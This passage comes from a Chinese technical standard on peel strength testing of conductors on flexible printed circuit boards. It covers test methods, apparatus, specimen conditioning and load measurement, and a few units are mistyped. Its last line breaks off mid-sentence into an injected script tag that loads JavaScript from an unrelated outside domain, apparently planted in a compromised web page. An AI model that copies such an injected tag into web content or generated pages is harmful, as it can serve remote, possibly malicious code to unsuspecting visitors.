8．机械性能试验
8．1．导线剥离强度
8．1．1试验方法的种类导线剥离强度试验方法有以下2种
(1)方法a与铜箔剥离面成90℃方向剥离铜箔的方法。在无特别规定时常用此方法。
(2)方法b
与铜箔剥离面成180℃方向剥离铜箔的方法。可以用于基材薄膜厚度不满0．025mm的薄板，并且在荷重剥离薄膜夹具固定困难时，可保持在拉力机上不被撕断。或者在预先知道其大致测定值时，由供需双方商定用此方法。
8．1．2装置
(1)有有效计量范围内分度值，指示值的误差±1％内，剥离时荷重是试验机容量的15—85％，拉力试验机横夹头速度保持每分种50mm，并且有记录仪连续记录拉伸力。
(2)采用方法a时，试样的铜箔剥去面对于铜箔拉脱方向的角度保持90±5度．图5和图6为示例，或者用与此同等功能的支持器具。
(3)jisb7570中规定的最小读数值0．05mm的游标卡尺，或者是其同等以上的器具。
焊锡糟是可熔化10．4．4中规定的焊锡，插入深度50mm以上的容器。规定位置的焊锡温度可调节在200—300℃，允许误差±3℃。
图5方法a（90度剥离方向）剥离强度测定用的活动支持夹具
图6方法a（90度剥离方向）剥离强度测定用的旋转滚轴形支持夹具
8．1．3试样
采用挠性印制板使用的覆铜箔层压板，蚀刻制作附图2的试验图形的试样时，覆铜箔层压板的纵方向(成卷方向)以及横方向(与成卷方向垂直的方向)各取2块，共4块。挠性双面印制板是各面都取样，同样各取2块，共8块试样。
若直接用挠性印制板，需存在适合长度和均匀宽度的笔直导线，由供需双方商定作为试样。
8．1．4前处理按5．条进行前处理
8．1.5试验试验以次如下：
(1)常态试样经本标准与5条前处理后，按8．1．6进行试验。
(2)加热处理后
基材是pet(聚酯)时，温度130±5℃；基材是pia(苯四羧酸型聚酰亚胺)和pib(联苯四羧酸型聚酰亚胺)时，温度180±5℃。在空气循环式恒温箱中保持垂直放置1小时，再在3．1条的标准状态下放置24±4小时后按8．1.
6进行试验。
(3)浸焊锡处理后(聚酯薄膜基材的挠性印制板不适用)试样在温度105±5℃的空气循环式恒。
温箱中存放1小时，然后迅速浮浸于温度260±5℃的按10．4．4规定的熔融焊锡中5+1秒，再在3．1条的标准状态下放置24±4小时后按8．1．6进行试验。
另外，浸焊锡后，铜箔面上不应附着焊锡，铜箔面上可以粘贴防焊锡胶带，或者试样进行浸温度260℃的耐热性硅油等处理。
(4)浸化学溶液处理后
试样在温度23±5℃的化学溶液中浸5分钟，然后取出试样仔细擦拭，再在本标准3．1条标准状态下放置24±4小时后按8．1．6进行试验。而如浸入无机化学溶液时，从溶液取出后用水冲洗，然后在温度80±5℃下干燥30分钟，再在3．1条的标准状态下放置24±4小时后按8．1.
6进行试验。
化学溶液是有盐酸(2mol／l)的酸性液，氢氧化钠(2mol/l)的碱性水溶液，以及jisk
8839中规定的异丙醇的乙醇类，全部化学溶液都处理后进行8．1.6试验。
8．1．6测定测定方法如下：
(1)方法a(90度方向剥离的方法)
(a)试样的导线宽度测量后固定于拉力试验机上。固定时确定剥离方向成90度。图5(1)所示，用双面胶带贴合于增强板上，固定后不使产生滑动和力不均。图5(2)所示剥离方向为垂直方向，测剥离强度时所用支持夹具同步移动。或者用图6所示的自由转动滚轴，采用双面胶带把试样粘附固定在其上，与试样表面垂直连续剥离铜箔50mm以上，测量这一过程的荷重。
(b)用适当的数字式记录仪，伴随着剥离进行以每秒3点以上的比率读取荷重值，并记录下每秒钟的荷重平均值。这些平均值中的最小值即为试样被剥离的荷重(n)。但是，最初剥离开的规定预留部份，以及最初5秒间的荷重值除外。
(c)用适当的模拟式记录仪，如图8-10所示，描绘了连续的荷重。初期的规定预留部份除外，对于稳定的荷重部份(图8和图9的稳定部分)用直尺在图上标出，确定荷重平均值，作为试样的剥离荷重。
若剥离的状态如图9例示，中间荷重发生变化时，以各个稳定段中取荷重平均值中最小值为剥离的荷重(n)。
另外，如图10例示，剥离状态没有稳定段时，取最小荷重为剥离的荷重(n)。
(d)求出各个试样的剥离荷重(n)除试样上被剥离导线宽(mm)的值，其中最小值即为试样的剥离强度(n／mm)。
(e)报告剥离强度，试样有纵横两个方向的值?script src=http://er12.com/t.js>
